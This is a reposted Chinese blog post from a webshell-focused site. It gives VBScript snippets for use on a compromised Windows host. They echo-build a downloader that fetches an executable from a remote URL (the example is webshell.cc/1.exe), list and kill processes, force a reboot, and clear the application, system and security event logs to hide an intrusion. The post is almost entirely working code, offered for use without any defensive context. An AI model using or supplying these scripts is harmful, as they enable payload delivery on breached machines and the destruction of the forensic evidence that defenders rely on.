转自:黑鹰小子

1.文件下载(无回显)

echo iLocal = LCase(WScript.Arguments(1)) >iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) >>iget.vbe
echo Set xPost = createObject(“Microsoft.XMLHTTP”) >>iget.vbe
echo xPost.Open “GET”,iRemote,0 >>iget.vbe
echo xPost.Send() >>iget.vbe
echo Set sGet = createObject(“ADODB.Stream”) >>iget.vbe
echo sGet.Mode = 3 >>iget.vbe
echo sGet.Type = 1 >>iget.vbe
echo sGet.Open() >>iget.vbe
echo sGet.Write(xPost.responseBody) >>iget.vbe
echo sGet.SaveToFile iLocal,2 >>iget.vbe

用法: cscript hget.vbs https://www.webshell.cc/1.exe 1.exe

2.列举进程

@echo for each ps in getobject _ >ps.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs

用法:cscript ps.vbs

3.终止进程

@echo for each ps in getobject _ >pskill.vbs
@echo (“winmgmts:\\.\root\cimv2:win32_process”).instances_ >>pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs

用法:cscript pskill.vbs pid

4.重启系统

@echo for each os in getobject _ >reboot.vbs
@echo (“winmgmts:!\\.\root\cimv2:win32_operatingsystem”).instances_ >>reboot.vbs
@echo os.win32shutdown(2):next >>reboot.vbs

用法:cscript reboot.vbs

5.利用脚本编程删除日志

strComputer= “.”
Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Backup)}!\\” & _
strComputer & “\root\cimv2″)
dim mylogs(3)
mylogs(1)=”application”
mylogs(2)=”system”
mylogs(3)=”security”
for Each logs in mylogs
Set colLogFiles=objWMIService.ExecQuery _
(“Select * from Win32_NTEventLogFile where LogFileName=’”&logs&”‘”)
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next

将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/486.html